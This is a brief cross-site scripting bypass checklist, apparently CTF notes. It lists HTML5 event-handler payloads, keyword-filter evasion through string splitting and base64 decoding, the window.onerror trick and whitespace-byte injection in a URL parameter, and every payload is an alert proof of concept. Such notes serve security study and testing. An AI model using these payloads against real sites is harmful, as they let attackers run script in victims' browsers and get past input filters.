09 XSS Bypass Checklist

XSS ByPass, CTF

HTML 5 Event Base Checking

1. <details open ontoggle="alert(/xss/)">
2. <form><button formaction="javascript:alert(/x/)">X</button>

Keyword filtering bypass

#obfuscation
1. window['al'+'ert'](/xss)
2. window[atob("YWxl"+"cnQ=")](/xss/)
3. http://www.jsfuck.com/
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# HTML formation
4. https://evilcos.me/lab/xssee/
5. with(document)alert(cookie);
6. window.onerror=alert; throw 1;

#by space
0x09、0x10、0x12、0x13、0x0a
7. http://example.com/xss.php?input=%3Cimg%0asrc=x%0aonerror=alert(/xss/)
8. <input/onfocus=alert(/xss/)>